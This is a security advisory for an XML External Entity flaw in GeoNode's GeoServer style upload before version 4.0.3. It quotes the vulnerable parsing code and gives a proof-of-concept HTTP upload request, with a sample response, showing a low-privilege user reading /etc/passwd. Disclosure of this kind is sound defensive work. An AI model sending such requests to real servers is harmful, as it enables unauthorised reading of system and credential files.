GHSA-mcmc-c59m-pqq8 GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection

• PyPI GeoNode: < 4.0.3 → fixed in 4.0.3

Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. Details GeoNode's GeoServer has the ability to upload new styles for datasets through the `dataset_style_upload` view. ```py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @login_required def dataset_style_upload(request, layername): def respond(*args, **kw): kw['content_type'] = 'text/html' return json_response(*args, **kw) ... sld = request.FILES['sld'].read() # 1 sld_name = None try: # Check SLD is valid ... sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2 except Exception as e: respond(errors=f"The uploaded SLD file is not valid XML: {e}") name = data.get('name') or sld_name set_dataset_style(layer, data.get('title') or name, sld) return respond( body={ 'success': True, 'style': data.get('title') or name, # 3 'updated': data['update']}) ``` `dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`). ```py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234 def extract_name_from_sld(gs_catalog, sld, sld_file=None): try: if sld: if isfile(sld): with open(sld, "rb") as sld_file: sld = sld_file.read() # 1 if isinstance(sld, str): sld = sld.encode('utf-8') dom = etree.XML(sld) # 2 ... named_dataset = dom.findall( "{http://www.opengis.net/sld}NamedLayer") el = None if named_dataset and len(named_dataset) > 0: user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle") if user_style and len(user_style) > 0: el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3 ... return el[0].text # 4 ``` `extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with `etree.XML` in `2`. Since the former uses a default XMLParser, the parsing gets done with the `resolve_entities` flag set to `True`. Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`. PoC 1. Create a guest/non-privileged account and log in. 1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as ``. 1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`: ``` POST /gs/geonode:/style/upload HTTP/1.1 Host: localhost Cookie: django_language=en-us; csrftoken=; sessionid= X-Csrftoken: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo Content-Length: 485 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="layerid" 1 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="sld"; filename="foo.sld" Content-Type: application/octet-stream ]> &ent; ------WebKitFormBoundaryfoo-- ``` Sample response: ``` HTTP/1.1 200 OK Server: nginx/1.23.2 ... {"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false} ``` Impact This issue may lead to authenticated `Arbitrary File Read`.